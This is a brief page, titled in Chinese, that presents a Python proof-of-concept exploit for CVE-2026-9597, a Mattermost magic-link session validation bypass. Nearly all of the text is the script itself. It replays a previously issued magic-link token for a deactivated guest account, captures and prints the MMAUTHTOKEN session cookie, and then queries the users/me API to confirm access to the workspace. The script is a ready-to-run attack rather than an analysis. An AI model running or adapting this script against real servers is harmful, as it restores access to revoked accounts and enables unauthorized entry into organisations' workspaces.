CVE-2026-9597 Mattermost魔术链接会话验证绕过漏洞

# CVE-2026-9597 - Mattermost Magic-Link Session Validation Bypass PoC # This PoC demonstrates how a deactivated guest user can obtain a functional session # via a previously issued magic-link token. import requests TARGET_URL = "https://mattermost.example.com" MAGIC_LINK_TOKEN = "<previously_obtained_magic_link_token>" # Token obtained before deactivation def exploit_magic_link_bypass(): """ Exploit the magic-link session validation bypass vulnerability. The system fails to check if the guest account is deactivated before creating a session from a magic-link token. """ # Step 1: Construct the magic-link URL with the previously obtained token magic_link_url = f"{TARGET_URL}/login/magic_link?token={MAGIC_LINK_TOKEN}" # Step 2: Send a GET request to the magic-link endpoint # The server validates the token but does NOT check if the account is deactivated session = requests.Session() response = session.get(magic_link_url, allow_redirects=True) # Step 3: Check if a valid session was created despite account deactivation if response.status_code == 200: # Verify session cookies were set (indicating successful authentication) if 'MMAUTHTOKEN' in session.cookies.get_dict(): print("[+] Session created successfully despite account deactivation!") print(f"[+] Session token: {session.cookies.get_dict()['MMAUTHTOKEN']}") # Step 4: Use the session to access the workspace user_response = session.get(f"{TARGET_URL}/api/v4/users/me") if user_response.status_code == 200: user_data = user_response.json() print(f"[+] Authenticated as: {user_data.get('username')}") print(f"[+] User roles: {user_data.get('roles')}") return True else: print("[-] No session cookie set. Token may be expired or invalid.") else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2026-9597 - Mattermost Magic-Link Bypass PoC") print("[*] Attempting to bypass guest account deactivation...") exploit_magic_link_bypass()